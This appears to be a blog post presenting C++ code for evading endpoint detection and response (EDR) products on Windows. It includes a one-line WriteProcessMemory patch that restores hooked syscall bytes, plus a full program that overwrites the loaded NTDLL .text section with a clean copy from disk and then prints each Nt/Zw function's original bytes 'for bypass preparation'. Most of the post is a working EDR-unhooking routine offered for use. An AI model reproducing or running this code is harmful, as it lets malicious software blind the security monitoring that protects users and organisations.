25 Bytes of every function in NTDLL

Hi Friends,

I am writing this code as part of EDR Evasion technique that has been discussed in my previous posting. So what is this code objectives ?

Before we go further, I take you back a little bit on how the EDR unhooking works. EDR does inline patching on every syscall of your application made to the NTDLL. The objective of inline patching is to redirect the syscall jump into the EDR analysis function. After the analysis done by the EDR then the call is returned to the original NTDLL code

A tale of EDR bypass methods | S3cur3Th1sSh1t

One indication of the EDR hooking present is by checking if the function call does not start with the normal value 4c 8b d1 b8

To unhook the EDR, We need to overwrite the 5 or 6 first bytes with the normal value of the function in memory so that the call will not go into the EDR analysis function but goes as a normal flow

 WriteProcessMemory(GetCurrentProcess(), GetProcAddress(GetModuleHandle(L"ntdll"), "NtRaiseHardError"), "\x4c\x8b\xd1\xb8\x67\x01", 6, NULL);

This code below is allow you to query the normal value of the NTDLL first 25 bytes in every function which you can follow for bypass preparation

#include <windows.h>
#include <iostream>
#include <winternl.h>
#include <psapi.h>
#include <stdlib.h>

#pragma comment(lib, "ntdll.lib")    // Needs ntdll.lib from Windows Driver Kit
#define DEREF_32( name )*(DWORD *)(name)


LPVOID MapDLL(char* szDllPath)
{
    /*  Load DLL from disk  */
    HANDLE hFileHandle = INVALID_HANDLE_VALUE;
    __try
    {
        hFileHandle = CreateFileA(szDllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        printf("[*] Failed to open %s!\n", szDllPath);
        exit(EXIT_FAILURE);
    }

    /*  Create file mapping of DLL  */
    HANDLE hFileMapping = INVALID_HANDLE_VALUE;
    __try
    {
        hFileMapping = CreateFileMapping(hFileHandle, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        printf("[*] Failed to create file mapping\n");
        exit(EXIT_FAILURE);
    }

    /*  Map view of DLL  */
    LPVOID lpAddress = NULL;
    __try
    {
        lpAddress = MapViewOfFile(hFileMapping, FILE_MAP_READ, 0, 0, 0);
        return lpAddress;
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        printf("[*] Failed to map view of %s\n", szDllPath);
        exit(EXIT_FAILURE);
    }

}


int main(int argc, char* argv[])
{

    UINT_PTR uiNameArray = 0;
    PIMAGE_NT_HEADERS pNtHeaders = NULL;
    PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
    PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;

    HANDLE process = GetCurrentProcess();
    MODULEINFO mi = {};
    HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");


    GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));
    LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
    HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);

    PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
    PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);

    for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
        PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

        if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
            DWORD oldProtection = 0;
            bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
            memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
            isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
        }
    }

    UINT_PTR pLibraryAddress= (UINT_PTR)MapDLL((char*)"c:\\windows\\system32\\ntdll.dll");
    char* szDllName = (char*)"ntdll.dll";

    HANDLE hDll = GetModuleHandleA(szDllName);

    /*  Get the address of the modules NT Header  */
    pNtHeaders = (PIMAGE_NT_HEADERS)(pLibraryAddress + ((PIMAGE_DOS_HEADER)pLibraryAddress)->e_lfanew);

    pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

    /*  Get the address of the export directory  */
    pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(pLibraryAddress + pDataDirectory->VirtualAddress);

    /*  Get the RVA for the array of name pointers  */
    uiNameArray = (pLibraryAddress + pExportDirectory->AddressOfNames);

    /*  Iterate over the number of function names  */
   
    if (argc == 1) {
        DWORD dwCounter = pExportDirectory->NumberOfNames;
        while (dwCounter--)
        {
            char* szExportedFunctionName = (char*)(pLibraryAddress + DEREF_32(uiNameArray));
            char* buffer = new char[25];
            if ((szExportedFunctionName[0] == 'N' && szExportedFunctionName[1] == 't') || (szExportedFunctionName[0] == 'Z' && szExportedFunctionName[1] == 'w'))
            {
                ReadProcessMemory(GetCurrentProcess(), GetProcAddress(GetModuleHandle(L"ntdll"), szExportedFunctionName), buffer, 25, 0);
                printf("[*] [%s] -- ", szExportedFunctionName);
                for (int i = 0; i < 25; i++)
                {
                    printf("%02hhX ", buffer[i]);
                }
                printf("\n");
            }
            uiNameArray += sizeof(DWORD);
        }
    }
    else if (argc == 2) {
        char* szExportedFunctionName = argv[1];
        char* buffer = new char[25];
        if ((szExportedFunctionName[0] == 'N' && szExportedFunctionName[1] == 't') || (szExportedFunctionName[0] == 'Z' && szExportedFunctionName[1] == 'w'))
        {
            ReadProcessMemory(GetCurrentProcess(), GetProcAddress(GetModuleHandle(L"ntdll"), szExportedFunctionName), buffer, 25, 0);
            printf("[*] [%s] -- ", szExportedFunctionName);
            for (int i = 0; i < 25; i++)
            {
                printf("%02hhX ", buffer[i]);
            }
            printf("\n");
        }
    }
     
    CloseHandle(process);
    CloseHandle(ntdllFile);
    CloseHandle(ntdllMapping);
    FreeLibrary(ntdllModule);
}

The code above will give you a normal value of every NTDLL function even though there is EDR installed in your system. You can use the application to query one single API or listing all API

or using the function name as the parameter

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s